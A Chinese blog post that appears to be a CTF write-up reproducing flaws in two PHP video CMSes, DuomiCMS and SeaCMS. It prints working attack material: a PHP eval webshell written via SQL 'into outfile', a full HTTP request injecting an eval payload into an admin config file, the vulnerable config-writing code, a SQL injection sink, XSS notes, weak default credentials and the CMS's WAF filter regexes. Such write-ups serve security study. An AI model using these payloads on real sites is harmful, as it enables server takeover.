前言

这两个cms是在国赛上遇到的,一道名字是千人骑,一道名字是万人骑。比赛的时候只做了海洋cms的万人骑

由于用的vpn连接,比赛结束后环境没有了,好在修的时候把源码下了下来,后面在windows下搭了简单复现一下

正文

现在重新回来仔细看一遍这两道题目,这两个题目都存在DS_Store泄露,可以用工具把很多文件下载下来

github地址:https://github.com/lijiejie/ds_store_exp

python ds_store_exp.py http://www.example.com/.DS_Store

环境限制就没有试过是什么效果,不过现在复现就不考虑那些了

多米cms

目录结构

D:.
└─upload
    ├─admin
    │  ├─api
    │  ├─html
    │  ├─kindeditor
    │  │  ├─attached
    │  │  ├─lang
    │  │  ├─php
    │  │  ├─plugins
    │  │  │  ├─anchor
    │  │  │  ├─autoheight
    │  │  │  ├─baidumap
    │  │  │  ├─clearhtml
    │  │  │  ├─code
    │  │  │  ├─emoticons
    │  │  │  │  └─images
    │  │  │  ├─filemanager
    │  │  │  │  └─images
    │  │  │  ├─fixtoolbar
    │  │  │  ├─flash
    │  │  │  ├─image
    │  │  │  │  └─images
    │  │  │  ├─insertfile
    │  │  │  ├─lineheight
    │  │  │  ├─link
    │  │  │  ├─map
    │  │  │  ├─media
    │  │  │  ├─multiimage
    │  │  │  │  └─images
    │  │  │  ├─pagebreak
    │  │  │  ├─plainpaste
    │  │  │  ├─preview
    │  │  │  ├─quickformat
    │  │  │  ├─table
    │  │  │  ├─template
    │  │  │  │  └─html
    │  │  │  └─wordpaste
    │  │  └─themes
    │  │      ├─common
    │  │      ├─default
    │  │      └─simple
    │  └─skin
    │      ├─css
    │      ├─images
    │      └─js
    ├─article
    ├─articlelist
    ├─data
    │  ├─admin
    │  ├─backupdata
    │  ├─cache
    │  │  └─review
    │  │      └─0
    │  ├─mark
    │  └─sessions
    ├─detail
    ├─duomiphp
    │  ├─crons
    │  ├─data
    │  └─inc
    ├─duomiui
    │  └─default
    │      ├─css
    │      ├─html
    │      │  └─mobile
    │      ├─images
    │      └─js
    ├─images
    ├─install
    │  ├─images
    │  └─templates
    ├─interface
    │  ├─ads
    │  └─comment
    │      ├─api
    │      ├─images
    │      └─js
    ├─list
    ├─member
    │  ├─css
    │  └─html
    ├─mobile
    │  ├─detail
    │  ├─images
    │  ├─list
    │  ├─player
    │  │  └─html
    │  └─video
    ├─news
    ├─player
    │  └─html
    │      ├─chplayer
    │      │  └─hls
    │      ├─ckplayer
    │      │  └─share
    │      ├─ckplayerx
    │      └─cmp
    │          ├─plugins
    │          └─skins
    │              └─mini
    ├─topic
    ├─topiclist
    ├─uploads
    │  ├─allimg
    │  ├─editor
    │  │  └─image
    │  ├─image
    │  ├─litimg
    │  └─zt
    ├─video
    └─weixin

主界面是一个php+mysql架构的影视管理系统

白盒测试用d盾只扫出一个洞,但是后面排除了

dom型xss

到处翻一遍没有什么问题,只是在留言板块发现一个疑似dom型xss

主要源码如下

if($action=='add')
{
    $ip = GetIP();
    $dtime = time();

    //检查验证码是否正确
    $validate = empty($validate) ? '' : strtolower(trim($validate));
    $svali = $_SESSION['duomi_ckstr'];
    if($validate=='' || $validate != $svali)
    {
        ResetVdValue();
        ShowMsg('验证码不正确!','-1');
        exit();
    }

    //检查留言间隔时间;
    if(!empty($cfg_feedback_times))
    {
        $row = $dsql->GetOne("SELECT dtime FROM `duomi_guestbook` WHERE `ip` = '$ip' ORDER BY `id` DESC ");
        if($dtime - $row['dtime'] < $cfg_feedback_times)
        {
            ShowMsg("留言过快,歇会再来留言吧","-1");
            exit();
        }
    }
    $userid = !empty($userid)?intval($userid):0;
    $uname = trimMsg($m_author);
    $uname =  _Replace_Badword($uname);
    $msg = trimMsg(cn_substrR($m_content, 1024), 1);

    if(!preg_match("/[".chr(0xa1)."-".chr(0xff)."]/",$msg)){
        showMsg('你必需输入中文才能发表!','-1');
        exit();
    }

    $reid = empty($reid) ? 0 : intval($reid);

    if(!empty($cfg_banwords))
    {
        $myarr = explode ('|',$cfg_banwords);
        for($i=0;$i<count($myarr);$i++)
        {
            $userisok = strpos($uname, $myarr[$i]);
            $msgisok = strpos($msg, $myarr[$i]);
            if(is_int($userisok)||is_int($msgisok))
            {
                showMsg('您发表的评论中有禁用词语!','-1');
                exit();
            }
        }
    }

    if($msg=='' || $uname=='') {
        showMsg('你的姓名和留言内容不能为空!','-1');
        exit();
    }
    $title = HtmlReplace( cn_substrR($title,60), 1 );
    if($title=='') $title = '无标题';
        $title = _Replace_Badword($title);

    if($reid != 0)
    {
        $row = $dsql->GetOne("Select msg From `duomi_guestbook` where id='$reid' ");
        $msg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n".$msg;
    }
    $msg = _Replace_Badword($msg);
    $query = "INSERT INTO `duomi_guestbook`(title,mid,uname,uid,msg,ip,dtime,ischeck)
                  VALUES ('$title','{$g_mid}','$uname','$userid','$msg','$ip','$dtime','$needCheck'); ";
    $dsql->ExecuteNoneQuery($query);
    if($needCheck==1)
    {
        ShowMsg('感谢您的留言,我们会尽快回复您!','../interface/gbook.php',0,3000);
        exit(); 
    }
    else
    {
        ShowMsg('成功发送一则留言,但需审核后才能显示!','../interface/gbook.php',0,3000);
        exit();
    }
}

这里正文的方框限制只能输入中文了,所以这里没有dom型xss

但是留言人那里,只是用这两行代码简单过滤了一下

    $uname = trimMsg($m_author);
    $uname =  _Replace_Badword($uname);

只是删除了前后的空和过滤了敏感字,敏感字后面在后台可以看到

所以在留言者那里是存在一个dom型的xss的

后台弱密码

尝试找一下后台,在admin/login.php成功找到后台

尝试有没有sql注入,一番尝试发现没有

对username和password的过滤如下

$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);

尝试弱密码并成功登录

username = amdin
password = admin

在后台发现多个上传点

但是尝试后发现各种方法都没用

发现有允许上传后缀的设置

加上php了,但是我却找不到这个会员头像的上传点….

sql写shell

一共有两种getshell方法

一种常规一点(stao大佬的做法),直接从后台的sql执行板块用mysql写shell

在工具–>后台–>SQL管理秘书那里可以执行sql语句

直接执行mysql写shell

select '<?php eval($_POST['a']);?>' into outfile '[路径]';

后台命令执行<1>

这个方法应该是只有代码审计才能找出来的洞

在全局–>百度推送这里写shell(这谁能想到)

这里提交的数据会存在ping.php这个文件里面,而且没有经过过滤

if($action=="set")
{
    $weburl= $_POST['weburl'];
    $token = $_POST['token'];
    $open=fopen("../data/admin/ping.php","w" );
    $str='<?php ';
    $str.='$weburl = "';
    $str.="$weburl";
    $str.='"; ';
    $str.='$token = "';
    $str.="$token";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
}

所以只要在上传的数据上改一下

POST /DuomiCms_x2.0/upload/admin/admin_ping.php?action=set HTTP/1.1
Host: 192.168.1.110
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://192.168.1.110
Connection: close
Referer: http://192.168.1.110/DuomiCms_x2.0/upload/admin/admin_ping.php?action=set
Cookie: PHPSESSID=3ie3i2ujrkr65p2641bpkebet1; __tins__18779617=%7B%22sid%22%3A%201600869368718%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201600871168718%7D; __51cke__=; __51laig__=1
Upgrade-Insecure-Requests: 1

weburl=www.duomicms.net&token=123456789%22%3Beval%28%24_POST%5B%27a%27%5D%29%3B%23

也就是上传token或者weburl为";eval($_POST['a']);#,ping.php就是这样

后台命令执行<2>

这些漏洞都是代码审计才能找得到的洞,fuzz的话基本只能找个寂寞

在/admin/admin_weixin.php

关键代码

if($action=="set")
{   
    $isopen = $_POST['isopen'];
    $token = $_POST['token'];
    $title = htmlspecialchars($_POST['title']);
    $url = $_POST['url'];
    $ckmov_url = $_POST['ckmov_url'];
    $follow = htmlspecialchars($_POST['follow']);
    $noc = htmlspecialchars($_POST['noc']);
    $dpic = $_POST['dpic'];
    $help = htmlspecialchars($_POST['help']);
    $topage = $_POST['topage'];
    $sql_num = intval($_POST['sql_num']);

    $open=fopen("../data/admin/weixin.php","w" );
    $str='<?php ';

    $str.='define("isopen", "';
    $str.="$isopen";
    $str.='"); ';

    $str.='define("token", "';
    $str.="$token";
    $str.='"); ';

    $str.='define("title", "';
    $str.="$title";
    $str.='"); ';

    $str.='define("url", "';
    $str.="$url";
    $str.='"); ';

    $str.='define("ckmov_url", "';
    $str.="$ckmov_url";
    $str.='"); ';

    $str.='define("follow", "';
    $str.="$follow";
    $str.='"); ';

    $str.='define("noc", "';
    $str.="$noc";
    $str.='"); ';

    $str.='define("dpic", "';
    $str.="$dpic";
    $str.='"); ';

    $str.='define("help", "';
    $str.="$help";
    $str.='"); ';

    $str.='define("topage", "';
    $str.="$topage";
    $str.='"); ';

    $str.='define("sql_num", "';
    $str.="$sql_num";
    $str.='"); ';

    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
}

?>

post得到的参数没有过滤直接拼接sql

海洋cms

海洋cms和多米cms差不多的,很多文件基本相同,所以漏洞也是非常相似

目录结构

D:.
├─Upload
│  ├─admin
│  │  ├─coplugins
│  │  ├─ebak
│  │  │  ├─bdata
│  │  │  ├─class
│  │  │  ├─closesys
│  │  │  ├─images
│  │  │  ├─inc
│  │  │  ├─lang
│  │  │  │  └─gbutf8
│  │  │  │      ├─pub
│  │  │  │      └─temp
│  │  │  ├─setsave
│  │  │  └─zip
│  │  ├─editor
│  │  │  ├─lang
│  │  │  ├─php
│  │  │  ├─plugins
│  │  │  │  ├─anchor
│  │  │  │  ├─autoheight
│  │  │  │  ├─baidumap
│  │  │  │  ├─clearhtml
│  │  │  │  ├─code
│  │  │  │  ├─emoticons
│  │  │  │  │  └─images
│  │  │  │  ├─filemanager
│  │  │  │  │  └─images
│  │  │  │  ├─fixtoolbar
│  │  │  │  ├─flash
│  │  │  │  ├─image
│  │  │  │  │  └─images
│  │  │  │  ├─insertfile
│  │  │  │  ├─lineheight
│  │  │  │  ├─link
│  │  │  │  ├─map
│  │  │  │  ├─media
│  │  │  │  ├─multiimage
│  │  │  │  │  └─images
│  │  │  │  ├─pagebreak
│  │  │  │  ├─plainpaste
│  │  │  │  ├─preview
│  │  │  │  ├─quickformat
│  │  │  │  ├─table
│  │  │  │  ├─template
│  │  │  │  │  └─html
│  │  │  │  └─wordpaste
│  │  │  └─themes
│  │  │      ├─common
│  │  │      ├─default
│  │  │      ├─qq
│  │  │      └─simple
│  │  ├─img
│  │  ├─js
│  │  └─templets
│  ├─article
│  ├─articlelist
│  ├─comment
│  │  ├─api
│  │  ├─images
│  │  │  └─cmt
│  │  └─js
│  ├─data
│  │  ├─admin
│  │  ├─cache
│  │  ├─mark
│  │  └─sessions
│  ├─detail
│  ├─include
│  │  ├─crons
│  │  ├─data
│  │  ├─inc
│  │  └─webscan
│  ├─install
│  │  ├─images
│  │  └─templates
│  ├─js
│  │  ├─ads
│  │  └─player
│  │      ├─ckplayerX
│  │      │  └─hls
│  │      └─dplayer
│  │          └─images
│  ├─list
│  ├─news
│  ├─pic
│  │  ├─faces
│  │  ├─member
│  │  ├─slide
│  │  └─zt
│  ├─templets
│  │  └─default
│  │      ├─html
│  │      │  ├─block
│  │      │  ├─index
│  │      │  ├─public
│  │      │  ├─seo
│  │      │  └─vod
│  │      └─images
│  │          ├─css
│  │          ├─fonts
│  │          ├─icon
│  │          ├─img
│  │          └─js
│  │              └─layer
│  │                  └─theme
│  │                      └─default
│  ├─topic
│  ├─topiclist
│  ├─uploads
│  │  ├─allimg
│  │  ├─editor
│  │  │  └─image
│  │  ├─litimg
│  │  └─zt
│  ├─video
│  └─weixin
└─海洋CMS火车采集模块接口
    ├─文章模块及接口
    └─视频模块及接口

主界面是php+mysql架构的影视管理系统

这个界面和多米的差不多,再从留言那里看看

输入点也是留言人和内容,看一下主要源码

if($action=='add')
{
    $ip = GetIP();
    $dtime = time();

    //检查验证码是否正确
if($cfg_feedback_ck=='1')
{   
    $validate = empty($validate) ? '' : strtolower(trim($validate));
    $svali = $_SESSION['sea_ckstr'];
    if($validate=='' || $validate != $svali)
    {
        ResetVdValue();
        ShowMsg('验证码不正确!','-1');
        exit();
    }
}   
    //检查留言间隔时间;
    if(!empty($cfg_feedback_times))
    {
        $row = $dsql->GetOne("SELECT dtime FROM `sea_guestbook` WHERE `ip` = '$ip' ORDER BY `id` DESC ");
        if($dtime - $row['dtime'] < $cfg_feedback_times)
        {
            ShowMsg("留言过快,歇会再来留言吧","-1");
            exit();
        }
    }
    $userid = !empty($userid)?intval($userid):0;
    $uname = trimMsg($m_author);
    $uname =  _Replace_Badword($uname);
    $msg = trimMsg(cn_substrR($m_content, 1024), 1);

    if(!preg_match("/[".chr(0xa1)."-".chr(0xff)."]/",$msg)){
        showMsg('你必需输入中文才能发表!','-1');
        exit();
    }

    $reid = empty($reid) ? 0 : intval($reid);

    if(!empty($cfg_banwords))
    {
        $myarr = explode ('|',$cfg_banwords);
        for($i=0;$i<count($myarr);$i++)
        {
            $userisok = strpos($uname, $myarr[$i]);
            $msgisok = strpos($msg, $myarr[$i]);
            if(is_int($userisok)||is_int($msgisok))
            {
                showMsg('您发表的评论中有禁用词语!','-1');
                exit();
            }
        }
    }

    if($msg=='' || $uname=='') {
        showMsg('你的姓名和留言内容不能为空!','-1');
        exit();
    }
    $title = HtmlReplace( cn_substrR($title,60), 1 );
    if($title=='') $title = '无标题';
        $title = _Replace_Badword($title);

    if($reid != 0)
    {
        $row = $dsql->GetOne("Select msg From `sea_guestbook` where id='$reid' ");
        $msg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n".$msg;
    }
    $msg = _Replace_Badword($msg);
    $query = "INSERT INTO `sea_guestbook`(title,mid,uname,uid,msg,ip,dtime,ischeck)
                  VALUES ('$title','{$g_mid}','$uname','$userid','$msg','$ip','$dtime','$needCheck'); ";
    $dsql->ExecuteNoneQuery($query);
    if($needCheck==1)
    {
        ShowMsg('感谢您的留言,我们会尽快回复您!','gbook.php',0,3000);
        exit(); 
    }
    else
    {
        ShowMsg('成功发送一则留言,但需审核后才能显示!','gbook.php',0,3000);
        exit();
    }
}

也是留言内容限制只能中文,但是留言人那里做了严格过滤

输入的内容赋值给m_author变量,然后对变量进行过滤

一步步跟过去发现最终的正则匹配语句

//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

这里对script和sql语句都进行了过滤了,要xss或者sql注入恐怕是不可能的了

后台弱密码

后面搭的环境动态生成了管理员目录,不过比赛的时候后台就在/manager/login.php

弱密码可以成功登录

username = admin
password = amdin

sql注入

白盒测试发现admin_vedio.php存在sql注入漏洞

关键代码

    $v_extratype = $_POST[v_type_extra];
    $v_extrajqtype = $_POST[v_jqtype_extra];

处理部分

    $v_extratype=implode(",",$v_extratype); //获取扩展分类数组
    $v_jq=implode(",",$v_extrajqtype); //获取剧情分类数组

然后直接拼接sql语句

$insertSql = "insert into sea_data(tid,v_name,v_letter,v_state,v_topic,v_hit,v_money,v_rank,v_actor,v_color,v_publishyear,v_publisharea,v_pic,v_spic,v_gpic,v_addtime,v_note,v_tags,v_lang,v_score,v_scorenum,v_director,v_enname,v_commend,v_extratype,v_jq,v_nickname,v_reweek,v_douban,v_mtime,v_imdb,v_tvs,v_company,v_dayhit,v_weekhit,v_monthhit,v_len,v_total,v_daytime,v_weektime,v_monthtime,v_ver,v_psd,v_longtxt,v_digg,v_tread) values ('$tid','$v_name','$v_letter','$v_state','$v_topic','$v_hit','$v_money','$v_rank','$v_actor','$v_color','$v_publishyear','$v_publisharea','$v_pic','$v_spic','$v_gpic','$v_addtime','$v_note','$v_tags','$v_lang','$v_score','$v_scorenum','$v_director','$v_enname','$v_commend','$v_extratype','$v_jq','$v_nickname','$v_reweek','$v_douban','$v_mtime','$v_imdb','$v_tvs','$v_company','$v_dayhit','$v_weekhit','$v_monthhit','$v_len','$v_total','$v_daytime','$v_weektime','$v_monthtime','$v_ver','$v_psd','$v_longtxt','$v_digg','$v_tread')";

故存在sql注入漏洞

sql写shell

sql写shell和多米的一样

后台命令执行<1>

后台命令执行和多米的后台命令执行<1>也是一样

后台命令执行<2>

后台命令执行和多米的后台命令执行<2>也是一样

后台命令执行<3>

这些命令执行漏洞都是代码审计才能找到的

位置:/admin/admin_ip.php

关键代码:

if($action=="set")
{
    $v= $_POST['v'];
    $ip = $_POST['ip'];
    $open=fopen("../data/admin/ip.php","w" );
    $str='<?php ';
    $str.='$v = "';
    $str.="$v";
    $str.='"; ';
    $str.='$ip = "';
    $str.="$ip";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_ip.php");
    exit;
}

没有过滤就直接拼接,然后写到php文件里面

后台命令执行<4>

位置:/admin/admin_notify.php

关键代码:

if($action=="set")
{
    $notify1= $_POST['notify1'];
    $notify2= $_POST['notify2'];
    $notify3= $_POST['notify3'];
    $open=fopen("../data/admin/notify.php","w" );
    $str='<?php ';
    $str.='$notify1 = "';
    $str.="$notify1";
    $str.='"; ';
    $str.='$notify2 = "';
    $str.="$notify2";
    $str.='"; ';
    $str.='$notify3 = "';
    $str.="$notify3";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_notify.php");
    exit;
}

也是没有过滤就直接拼接,然后写到php文件里面

结尾

还是太菜….继续学吧

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...